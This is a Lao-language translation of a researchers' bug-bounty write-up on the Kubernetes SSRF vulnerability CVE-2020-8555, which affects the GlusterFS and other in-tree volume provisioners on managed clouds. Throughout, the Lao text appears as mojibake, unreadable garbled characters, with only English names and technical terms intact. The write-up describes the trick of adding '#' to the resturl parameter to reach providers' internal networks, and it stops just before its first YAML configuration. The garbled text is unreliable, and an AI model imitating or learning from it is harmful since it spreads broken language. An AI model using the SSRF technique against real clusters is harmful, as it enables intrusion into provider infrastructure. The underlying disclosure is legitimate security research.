เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...

เบซเบกเบฒเบโ€‹เป€เบซเบ”โ€‹. เปเบ›.: เบœเบนเป‰เบ‚เบฝเบ™เบ‚เบญเบ‡เบšเบปเบ”เบ„เบงเบฒเบกเบ™เบตเป‰เบชเบปเบ™เบ—เบฐเบ™เบฒเปƒเบ™เบฅเบฒเบเบฅเบฐเบญเบฝเบ”เบเปˆเบฝเบงเบเบฑเบšเบงเบดเบ—เบตเบ—เบตเปˆเป€เบ‚เบปเบฒเป€เบˆเบปเป‰เบฒเบˆเบฑเบ”เบเบฒเบ™เป€เบžเบทเปˆเบญเบ„เบปเป‰เบ™เบžเบปเบšเบˆเบธเบ”เบญเปˆเบญเบ™ CVE-2020โ€“8555 เปƒเบ™ Kubernetes. เป€เบ–เบดเบ‡เปเบกเปˆเบ™เบงเปˆเบฒเปƒเบ™เป€เบšเบทเป‰เบญเบ‡เบ•เบปเป‰เบ™เบกเบฑเบ™เป€เบšเบดเปˆเบ‡เบ„เบทเบงเปˆเบฒเบšเปเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเบซเบผเบฒเบ, เบ›เบฐเบชเบปเบกเบ›เบฐเบชเบฒเบ™เบเบฑเบšเบ›เบฑเบ”เปƒเบˆเบญเบทเปˆเบ™เป†, เบ„เบงเบฒเบกเบชเปเบฒเบ„เบฑเบ™เบ‚เบญเบ‡เบกเบฑเบ™เป„เบ”เป‰เบเบฒเบเป€เบ›เบฑเบ™เบชเบนเบ‡เบชเบธเบ”เบชเปเบฒเบฅเบฑเบšเบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡เบšเบฒเบ‡. เบญเบปเบ‡เบเบฒเบ™เบˆเบฑเบ”เบ•เบฑเป‰เบ‡เบˆเปเบฒเบ™เบงเบ™เบซเบ™เบถเปˆเบ‡เป„เบ”เป‰เปƒเบซเป‰เบฅเบฒเบ‡เบงเบฑเบ™เปเบเปˆเบœเบนเป‰เบŠเปˆเบฝเบงเบŠเบฒเบ™เบชเปเบฒเบฅเบฑเบšเบงเบฝเบเบ‡เบฒเบ™เบ‚เบญเบ‡เป€เบ‚เบปเบฒเป€เบˆเบปเป‰เบฒ.

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...

เบžเบงเบเป€เบฎเบปเบฒเปเบกเปˆเบ™เปƒเบœ

เบžเบงเบเป€เบฎเบปเบฒเป€เบ›เบฑเบ™เบ™เบฑเบเบงเบดเป„เบˆเบ”เป‰เบฒเบ™เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบ‚เบญเบ‡เบเบฃเบฑเปˆเบ‡เบชเบญเบ‡เบ„เบปเบ™เบ—เบตเปˆเป„เบ”เป‰เบฎเปˆเบงเบกเบเบฑเบ™เบ„เบปเป‰เบ™เบžเบปเบšเบˆเบธเบ”เบญเปˆเบญเบ™เปƒเบ™ Kubernetes. เบŠเบทเปˆเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเปเบกเปˆเบ™ Brice Augras เปเบฅเบฐ Christophe Hauquiert, เปเบ•เปˆเปƒเบ™เบซเบผเบฒเบเป€เบงเบ—เบต Bug Bounty เบžเบงเบเป€เบฎเบปเบฒเป€เบ›เบฑเบ™เบ—เบตเปˆเบฎเบนเป‰เบˆเบฑเบเป€เบ›เบฑเบ™ Reeverzax เปเบฅเบฐ Hach เบ•เบฒเบกเบฅเปเบฒเบ”เบฑเบš:

เป€เบเบตเบ”โ€‹เบซเบเบฑเบ‡โ€‹เบ‚เบถเป‰เบ™?

เบšเบปเบ”เบ‚เบฝเบ™เบ™เบตเป‰เปเบกเปˆเบ™เบงเบดเบ—เบตเบเบฒเบ™เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเบ—เบตเปˆเบˆเบฐเปเบšเปˆเบ‡เบ›เบฑเบ™เบงเบดเบ—เบตเบเบฒเบ™เบ„เบปเป‰เบ™เบ„เป‰เบงเบฒเปเบšเบšเบ”เบฑเป‰เบ‡เป€เบ”เบตเบกเบ—เบตเปˆเบšเปเปˆเบ„เบฒเบ”เบ„เบดเบ”เป„เบ”เป‰เบซเบฑเบ™เป„เบ›เบชเบนเปˆเบเบฒเบ™เบœเบฐเบˆเบปเบ™เป„เบžเบ—เบตเปˆเบซเบ™เป‰เบฒเบ•เบทเปˆเบ™เป€เบ•เบฑเป‰เบ™เบ—เบตเปˆเบชเบธเบ”เปƒเบ™เบŠเบตเบงเบดเบ”เบ‚เบญเบ‡เบœเบนเป‰เบฅเปˆเบฒเปเบกเบ‡เป„เบกเป‰ (เบขเปˆเบฒเบ‡เบซเบ™เป‰เบญเบเบชเปเบฒเบฅเบฑเบšเปƒเบ™เบ›เบฑเบ”เบˆเบธเบšเบฑเบ™).

เบ”เบฑเปˆเบ‡เบ—เบตเปˆเป€เบˆเบปเป‰เบฒเบญเบฒเบ”เบˆเบฐเบฎเบนเป‰, เบ™เบฑเบเบฅเปˆเบฒเปเบกเบ‡เป„เบกเป‰เบกเบตเบชเบญเบ‡เบฅเบฑเบเบชเบฐเบ™เบฐเบ—เบตเปˆเป‚เบ”เบ”เป€เบ”เบฑเปˆเบ™:

  • เบžเบงเบเป€เบ‚เบปเบฒเบญเบฒเป„เบชเบขเบนเปˆเปƒเบ™ pizza เปเบฅเบฐเป€เบšเบ;
  • เบžเบงเบเป€เบ‚เบปเบฒเป€เบฎเบฑเบ”เบงเบฝเบเปƒเบ™เป€เบงเบฅเบฒเบ—เบตเปˆเบ—เบธเบเบ„เบปเบ™เบ™เบญเบ™เบซเบฅเบฑเบš.

เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹เบšเปเปˆโ€‹เบกเบตโ€‹เบ‚เปเป‰โ€‹เบเบปเบโ€‹เป€เบงเบฑเป‰เบ™โ€‹เบ•เปเปˆโ€‹เบเบปเบ”โ€‹เบฅเบฐโ€‹เบšเบฝเบšโ€‹เป€เบซเบผเบปเปˆเบฒโ€‹เบ™เบตเป‰: เบ›เบปเบโ€‹เบเบฐโ€‹เบ•เบดโ€‹เปเบฅเป‰เบงโ€‹เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹เบžเบปเบšโ€‹เบ›เบฐโ€‹เปƒเบ™โ€‹เบ—เป‰เบฒเบโ€‹เบญเบฒโ€‹เบ—เบดเบ”โ€‹เปเบฅเบฐโ€‹เปƒเบŠเป‰โ€‹เป€เบงโ€‹เบฅเบฒโ€‹เบ„เบทเบ™โ€‹เบ—เบตเปˆโ€‹เบ™เบญเบ™โ€‹เบšเปเปˆโ€‹เบซเบฅเบฑเบšโ€‹เบเบฒเบ™ hacking. เปเบ•เปˆเบซเบ™เบถเปˆเบ‡เปƒเบ™เบ„เบทเบ™เป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰เบชเบดเป‰เบ™เบชเบธเบ”เบฅเบปเบ‡เปƒเบ™เบ—เบฒเบ‡เบ—เบตเปˆเบœเบดเบ”เบ›เบปเบเบเบฐเบ•เบดเบซเบผเบฒเบ.

เปƒเบ™โ€‹เป€เบšเบทเป‰เบญเบ‡โ€‹เบ•เบปเป‰เบ™โ€‹เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹เบˆเบฐโ€‹เบžเบปเบšโ€‹เบ›เบฐโ€‹เป€เบžเบทเปˆเบญโ€‹เบ›เบถเบโ€‹เบชเบฒโ€‹เบซเบฒโ€‹เบฅเบทโ€‹เบเบฒเบ™โ€‹เป€เบ‚เบปเป‰เบฒโ€‹เบฎเปˆเบงเบกโ€‹เปƒเบ™ CTF เบกเบทเป‰โ€‹เบ•เปเปˆโ€‹เป„เบ›. เปƒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบเบฒเบ™เบชเบปเบ™เบ—เบฐเบ™เบฒเบเปˆเบฝเบงเบเบฑเบšเบ„เบงเบฒเบกเบ›เบญเบ”เป„เบž Kubernetes เปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบเบฒเบ™เบšเปเบฅเบดเบเบฒเบ™เบ—เบตเปˆเบกเบตเบเบฒเบ™เบ„เบธเป‰เบกเบ„เบญเบ‡, เบžเบงเบเป€เบฎเบปเบฒเบˆเบทเปˆเบˆเปเบฒเปเบ™เบงเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบเบปเปˆเบฒเบ‚เบญเบ‡ SSRF (เบเบฒเบ™เบ›เบญเบกเปเบ›เบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ”เป‰เบฒเบ™เป€เบŠเบตเบšเป€เบงเบต) เปเบฅเบฐเบ•เบฑเบ”เบชเบดเบ™เปƒเบˆเบ—เบปเบ”เบฅเบญเบ‡เปƒเบŠเป‰เบกเบฑเบ™เป€เบ›เบฑเบ™เบ•เบปเบงเบ‚เบฝเบ™เบเบฒเบ™เป‚เบˆเบกเบ•เบต.

เป€เบงเบฅเบฒ 11 เป‚เบกเบ‡เปเบฅเบ‡เบžเบงเบเป€เบฎเบปเบฒเบ™เบฑเปˆเบ‡เบฅเบปเบ‡เป€เบžเบทเปˆเบญเป€เบฎเบฑเบ”เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเปเบฅเบฐเป€เบ‚เบปเป‰เบฒเบ™เบญเบ™เปƒเบ™เบ•เบญเบ™เป€เบŠเบปเป‰เบฒ, เบžเปเปƒเบˆเบเบฑเบšเบœเบปเบ™เป„เบ”เป‰เบฎเบฑเบšเบซเบผเบฒเบ. เบกเบฑเบ™เปเบกเปˆเบ™เบเป‰เบญเบ™เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เป‰เบงเบฒเบ™เบตเป‰เบ—เบตเปˆเบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบกเบฒเปƒเบ™เบ—เบปเปˆเบงเป‚เบ„เบ‡เบเบฒเบ™ MSRC Bug Bounty เปเบฅเบฐเบกเบฒเบžเป‰เบญเบกเบเบฑเบšเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ”เบชเบดเบ”เบ—เบดเบžเบดเป€เบชเบ”.

เบซเบผเบฒเบเบญเบฒเบ—เบดเบ”/เป€เบ”เบทเบญเบ™เบœเปˆเบฒเบ™เป„เบ›, เปเบฅเบฐเบœเบปเบ™เบ—เบตเปˆเบšเปเปˆเบ„เบฒเบ”เบ„เบดเบ”เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบชเบปเปˆเบ‡เบœเบปเบ™เปƒเบซเป‰เปœเบถเปˆเบ‡เปƒเบ™เบฅเบฒเบ‡เบงเบฑเบ™เบชเบนเบ‡เบชเบธเบ”เปƒเบ™เบ›เบฐเบซเบงเบฑเบ”เบชเบฒเบ”เบ‚เบญเบ‡ Azure Cloud Bug Bounty - เบ™เบญเบเบˆเบฒเบเบญเบฑเบ™เบ—เบตเปˆเบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบฎเบฑเบšเบˆเบฒเบ Kubernetes!

เบญเบตเบ‡เบ•เบฒเบกเป‚เบ„เบ‡เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เป‰เบงเบฒเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ, เบ„เบฐเบ™เบฐเบเปเบฒเบกเบฐเบเบฒเบ™เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบœเบฐเบฅเบดเบ”เบ•เบฐเบžเบฑเบ™ Kubernetes เบˆเบฑเบ”เบžเบตเบกเบกเบฒ CVE-2020โ€“8555.

เบ•เบญเบ™เบ™เบตเป‰เบ‚เป‰เบญเบเบขเบฒเบเป€เบœเบตเบเปเบœเปˆเบ‚เปเป‰เบกเบนเบ™เบเปˆเบฝเบงเบเบฑเบšเบˆเบธเบ”เบญเปˆเบญเบ™เบ—เบตเปˆเบžเบปเบšเป€เบซเบฑเบ™เปƒเบซเป‰เบซเบผเบฒเบเป€เบ—เบปเปˆเบฒเบ—เบตเปˆเป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰. เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹เบซเบงเบฑเบ‡โ€‹เบงเปˆเบฒโ€‹เบ—เปˆเบฒเบ™โ€‹เบˆเบฐโ€‹เบŠเบทเปˆเบ™โ€‹เบŠเบปเบกโ€‹เบเบฑเบšโ€‹เบเบฒเบ™โ€‹เบŠเบญเบโ€‹เบซเบฒโ€‹เปเบฅเบฐโ€‹เปเบšเปˆเบ‡โ€‹เบ›เบฑเบ™โ€‹เบฅเบฒเบโ€‹เบฅเบฐโ€‹เบญเบฝเบ”โ€‹เบ”เป‰เบฒเบ™โ€‹เบงเบดโ€‹เบŠเบฒโ€‹เบเบฒเบ™โ€‹เบเบฑเบšโ€‹เบชเบฐโ€‹เบกเบฒโ€‹เบŠเบดเบโ€‹เบญเบทเปˆเบ™เป†โ€‹เบ‚เบญเบ‡โ€‹เบŠเบธเบกโ€‹เบŠเบปเบ™ infosecโ€‹!

เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™, เบ™เบตเป‰เปเบกเปˆเบ™เป€เบฅเบทเปˆเบญเบ‡เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ ...

เบชเบฐเบžเบฒเบšเบเบฒเบ™

เป€เบžเบทเปˆเบญเป€เบฎเบฑเบ”เปƒเบซเป‰เบ„เบงเบฒเบกเบฎเบนเป‰เบชเบถเบเบ—เบตเปˆเบชเบธเบ”เบเปˆเบฝเบงเบเบฑเบšเบชเบดเปˆเบ‡เบ—เบตเปˆเป€เบเบตเบ”เบ‚เบถเป‰เบ™, เบ—เปเบฒเบญเบดเบ”เปƒเบซเป‰เบžเบงเบเป€เบฎเบปเบฒเป€เบšเบดเปˆเบ‡เบงเบดเบ—เบตเบเบฒเบ™ Kubernetes เป€เบฎเบฑเบ”เบงเบฝเบเบขเบนเปˆเปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบ—เบตเปˆเบกเบตเบเบฒเบ™เบ„เบธเป‰เบกเบ„เบญเบ‡เบ„เบฅเบฒเบง.

เป€เบกเบทเปˆเบญเบ—เปˆเบฒเบ™เบชเป‰เบฒเบ‡เบเบธเปˆเบก Kubernetes เบ—เบฑเบ™เบ—เบตเปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบ”เบฑเปˆเบ‡เบเปˆเบฒเบง, เบŠเบฑเป‰เบ™เบเบฒเบ™เบˆเบฑเบ”เบเบฒเบ™เป‚เบ”เบเบ—เบปเปˆเบงเป„เบ›เปเบกเปˆเบ™เบ„เบงเบฒเบกเบฎเบฑเบšเบœเบดเบ”เบŠเบญเบšเบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบ„เบฅเบฒเบง:

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...
เบŠเบฑเป‰เบ™เบ„เบงเบšเบ„เบธเบกเปเบกเปˆเบ™เบ•เบฑเป‰เบ‡เบขเบนเปˆเบšเปเบฅเบดเป€เบงเบ™เบšเปเบฅเบดเบกเบดเป€เบ•เบตเบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡, เปƒเบ™เบ‚เบฐเบ™เบฐเบ—เบตเปˆเบ‚เปเป‰ Kubernetes เบ•เบฑเป‰เบ‡เบขเบนเปˆเบšเปเบฅเบดเป€เบงเบ™เบญเป‰เบญเบกเบฎเบญเบšเบ‚เบญเบ‡เบฅเบนเบเบ„เป‰เบฒ.

เป€เบžเบทเปˆเบญเบˆเบฑเบ”เบชเบฑเบ™เบ›เบฐเบฅเบดเบกเบฒเบ™เปเบšเบšเป„เบ”เบ™เบฒเบกเบดเบ, เบเบปเบ™เป„เบเปเบกเปˆเบ™เปƒเบŠเป‰เป€เบžเบทเปˆเบญเบชเบฐเปœเบญเบ‡เบžเบงเบเบกเบฑเบ™เบขเปˆเบฒเบ‡เป„เบ”เบ™เบฒเบกเบดเบเบˆเบฒเบเบšเปˆเบญเบ™เป€เบเบฑเบšเบ‚เปเป‰เบกเบนเบ™เบžเบฒเบเบ™เบญเบ เปเบฅเบฐ เบ›เบฝเบšเบ—เบฝเบšเบžเบงเบเบกเบฑเบ™เบเบฑเบš PVC (เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ›เบฐเบฅเบดเบกเบฒเบ™เบขเปˆเบฒเบ‡เบ•เปเปˆเป€เบ™เบทเปˆเบญเบ‡, เป€เบŠเบฑเปˆเบ™: เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ›เบฐเบฅเบดเบกเบฒเบ™).

เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™, เบซเบผเบฑเบ‡เบˆเบฒเบ PVC เบ–เบทเบเบชเป‰เบฒเบ‡เบ‚เบถเป‰เบ™เปเบฅเบฐเบœเบนเบเบกเบฑเบ”เบเบฑเบš StorageClass เปƒเบ™เบเบธเปˆเบก K8s, เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เป€เบžเบตเปˆเบกเป€เบ•เบตเบกเป€เบžเบทเปˆเบญเบชเบฐเบซเบ™เบญเบ‡เบ›เบฐเบฅเบดเบกเบฒเบ™เป„เบ”เป‰เบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เป‚เบ”เบเบœเบนเป‰เบˆเบฑเบ”เบเบฒเบ™ kube / cloud controller (เบŠเบทเปˆเบ—เบตเปˆเปเบ™เปˆเบ™เบญเบ™เปเบกเปˆเบ™เบ‚เบถเป‰เบ™เบเบฑเบšเบเบฒเบ™เบ›เปˆเบญเบ). (เบซเบกเบฒเบโ€‹เป€เบซเบ”โ€‹. เปเบ›.: เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบ‚เบฝเบ™เป€เบžเบตเปˆเบกเป€เบ•เบตเบกเบเปˆเบฝเบงเบเบฑเบš CCM เปเบฅเป‰เบงเป‚เบ”เบเปƒเบŠเป‰เบ•เบปเบงเบขเปˆเบฒเบ‡เบ‚เบญเบ‡เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ‚เบญเบ‡เบกเบฑเบ™เบชเปเบฒเบฅเบฑเบšเบซเบ™เบถเปˆเบ‡เปƒเบ™เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡ เบ—เบตเปˆเบ™เบตเป‰.)

เบกเบตเบซเบผเบฒเบเบ›เบฐเป€เบžเบ”เบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบ—เบตเปˆเบชเบฐเบซเบ™เบฑเบšเบชเบฐเบซเบ™เบนเบ™เป‚เบ”เบ Kubernetes: เบชเปˆเบงเบ™เปƒเบซเบเปˆเบ‚เบญเบ‡เบžเบงเบเป€เบ‚เบปเบฒเปเบกเปˆเบ™เบฅเบงเบกเบขเบนเปˆเปƒเบ™ เบซเบผเบฑเบ orchestrator, เปƒเบ™เบ‚เบฐเบ™เบฐเบ—เบตเปˆเบ„เบปเบ™เบญเบทเปˆเบ™เบ–เบทเบเบ„เบธเป‰เบกเบ„เบญเบ‡เป‚เบ”เบเบœเบนเป‰เบชเบฐเบซเบ™เบญเบ‡เป€เบžเบตเปˆเบกเป€เบ•เบตเบกเบ—เบตเปˆเบงเบฒเบ‡เป„เบงเป‰เปƒเบ™เบเบฑเบเปƒเบ™เบเบธเปˆเบก.

เปƒเบ™เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ, เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบชเบธเบกเปƒเบชเปˆเบเบปเบ™เป„เบเบเบฒเบ™เบชเบฐเบซเบ™เบญเบ‡เบ›เบฐเบฅเบดเบกเบฒเบ™เบžเบฒเบเปƒเบ™, เป€เบŠเบดเปˆเบ‡เป„เบ”เป‰เบชเบฐเปเบ”เบ‡เปƒเบซเป‰เป€เบซเบฑเบ™เบ‚เป‰เบฒเบ‡เบฅเบธเปˆเบกเบ™เบตเป‰:

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...
เบเบฒเบ™เบˆเบฑเบ”เบซเบฒเบ›เบฐเบฅเบดเบกเบฒเบ™เปเบšเบšเป„เบ”เบ™เบฒเบกเบดเบเป‚เบ”เบเปƒเบŠเป‰เบ•เบปเบงเบชเบฐเปœเบญเบ‡ Kubernetes เปƒเบ™เบ•เบปเบง

เปƒเบ™เบชเบฑเป‰เบ™, เป€เบกเบทเปˆเบญ Kubernetes เบ–เบทเบเบ™เปเบฒเป„เบ›เปƒเบŠเป‰เปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบ—เบตเปˆเบกเบตเบเบฒเบ™เบ„เบธเป‰เบกเบ„เบญเบ‡, เบœเบนเป‰เบˆเบฑเบ”เบเบฒเบ™เบ„เบงเบšเบ„เบธเบกเปเบกเปˆเบ™เบ„เบงเบฒเบกเบฎเบฑเบšเบœเบดเบ”เบŠเบญเบšเบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡, เปเบ•เปˆเบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบเบฒเบ™เบชเป‰เบฒเบ‡เบ›เบฐเบฅเบดเบกเบฒเบ™ (เบ•เบปเบงเป€เบฅเบ 3 เปƒเบ™เปเบœเบ™เบงเบฒเบ”เบ‚เป‰เบฒเบ‡เป€เบ—เบดเบ‡) เบญเบญเบเบˆเบฒเบเป€เบ„เบทเบญเบ‚เปˆเบฒเบเบžเบฒเบเปƒเบ™เบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡. เปเบฅเบฐเบ™เบตเป‰เปเบกเปˆเบ™เบšเปˆเบญเบ™เบ—เบตเปˆเบชเบดเปˆเบ‡เบ—เบตเปˆเบซเบ™เป‰เบฒเบชเบปเบ™เปƒเบˆเบซเบผเบฒเบ!

เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™ hacking

เปƒเบ™เบžเบฒเบเบ™เบตเป‰, เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเบญเบฐเบ—เบดเบšเบฒเบเบงเบดเบ—เบตเบ—เบตเปˆเบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เปƒเบŠเป‰เบ›เบฐเป‚เบซเบเบ”เบˆเบฒเบเบ‚เบฐเบšเบงเบ™เบเบฒเบ™เป€เบฎเบฑเบ”เบงเบฝเบเบ—เบตเปˆเป„เบ”เป‰เบเปˆเบฒเบงเบกเบฒเบ‚เป‰เบฒเบ‡เป€เบ—เบดเบ‡เปเบฅเบฐเป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบžเบฒเบเปƒเบ™เบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡. เบกเบฑเบ™เบเบฑเบ‡เบˆเบฐเบชเบฐเปเบ”เบ‡เปƒเบซเป‰เบ—เปˆเบฒเบ™เป€เบซเบฑเบ™เบงเบดเบ—เบตเบ—เบตเปˆเบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เบšเบฒเบ‡เบขเปˆเบฒเบ‡เป€เบŠเบฑเปˆเบ™: เบเบฒเบ™เป„เบ”เป‰เบฎเบฑเบšเบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบงเบžเบฒเบเปƒเบ™เบซเบผเบทเบเบฒเบ™เป€เบžเบตเปˆเบกเบชเบดเบ”เบ—เบดเบžเบดเป€เบชเบ”.

เบเบฒเบ™เบซเบกเบนเบ™เปƒเบŠเป‰เปเบšเบšเบ‡เปˆเบฒเบเป†เบญเบฑเบ™เปœเบถเปˆเบ‡ (เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ™เบตเป‰, Service Side Request Forgery) เป„เบ”เป‰เบŠเปˆเบงเบเบ‚เป‰เบฒเบกเบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบ‚เบญเบ‡เบฅเบนเบเบ„เป‰เบฒเป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เบเบธเปˆเบกเบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบ•เปˆเบฒเบ‡เป†เบžเบฒเบเปƒเบ•เป‰เบเบฒเบ™เบ„เบธเป‰เบกเบ„เบญเบ‡ K8s.

เปƒเบ™เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบชเบธเบกเปƒเบชเปˆเบเบฒเบ™เบชเบฐเบซเบ™เบญเบ‡ GlusterFS. เป€เบ–เบดเบ‡เบงเปˆเบฒเบˆเบฐเบกเบตเบ„เบงเบฒเบกเบˆเบดเบ‡เบ—เบตเปˆเบงเปˆเบฒเบฅเปเบฒเบ”เบฑเบšเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เป€เบžเบตเปˆเบกเป€เบ•เบตเบกเป„เบ”เป‰เบ–เบทเบเบญเบฐเบ—เบดเบšเบฒเบเปƒเบ™เบชเบฐเบžเบฒเบšเบเบฒเบ™เบ™เบตเป‰, Quobyte, StorageOS เปเบฅเบฐ ScaleIO เบกเบตเบ„เบงเบฒเบกเบญเปˆเบญเบ™เป„เบซเบงเบ•เปเปˆเบเบฑเบšเบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญเบ”เบฝเบงเบเบฑเบ™.

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...
เบเบฒเบ™เบฅเบฐเป€เบกเบตเบ”เบเบปเบ™เป„เบเบเบฒเบ™เบชเบฐเบซเบ™เบญเบ‡เบ›เบฐเบฅเบดเบกเบฒเบ™เปเบšเบšเป€เบ„เบทเปˆเบญเบ™เป„เบซเบง

เปƒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบเบฒเบ™เบงเบดเป€เบ„เบฒเบฐเบŠเบฑเป‰เบ™เป€เบเบฑเบšเบฎเบฑเบเบชเบฒ GlusterFS เปƒเบ™เบฅเบฐเบซเบฑเบ”เปเบซเบผเปˆเบ‡เบฅเบนเบเบ„เป‰เบฒ Golang เบžเบงเบเป€เบฎเบปเบฒ เบชเบฑเบ‡เป€เบเบ”เป€เบซเบฑเบ™เบงเปˆเบฒเบขเบนเปˆเปƒเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป HTTP เบ—เปเบฒเบญเบดเบ” (3) เบ—เบตเปˆเบชเบปเปˆเบ‡เปƒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบเบฒเบ™เบชเป‰เบฒเบ‡เบ›เบฐเบฅเบดเบกเบฒเบ™, เปƒเบ™เบ•เบญเบ™เบ—เป‰เบฒเบเบ‚เบญเบ‡ URL เบ—เบตเปˆเบเปเบฒเบซเบ™เบปเบ”เป€เบญเบ‡เปƒเบ™เบžเบฒเบฅเบฒเบกเบดเป€เบ•เบต resturl เปเบกเปˆเบ™เป€เบžเบตเปˆเบก /volumes.

เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบ•เบฑเบ”เบชเบดเบ™เปƒเบˆเบ—เบตเปˆเบˆเบฐเบเปเบฒเบˆเบฑเบ”เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เป€เบžเบตเปˆเบกเป€เบ•เบตเบกเบ™เบตเป‰เป‚เบ”เบเบเบฒเบ™เป€เบžเบตเปˆเบก # เปƒเบ™เบžเบฒเบฅเบฒเบกเบดเป€เบ•เบต resturl. เบ™เบตเป‰เปเบกเปˆเบ™เบเบฒเบ™เบ•เบฑเป‰เบ‡เบ„เปˆเบฒ YAML เบ—เปเบฒเบญเบดเบ”เบ—เบตเปˆเบžเบงเบเป€เบฎเบปเบฒเปƒเบŠเป‰เป€เบžเบทเปˆเบญเบ—เบปเบ”เบชเบญเบšเบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญเบ‚เบญเบ‡ SSRF 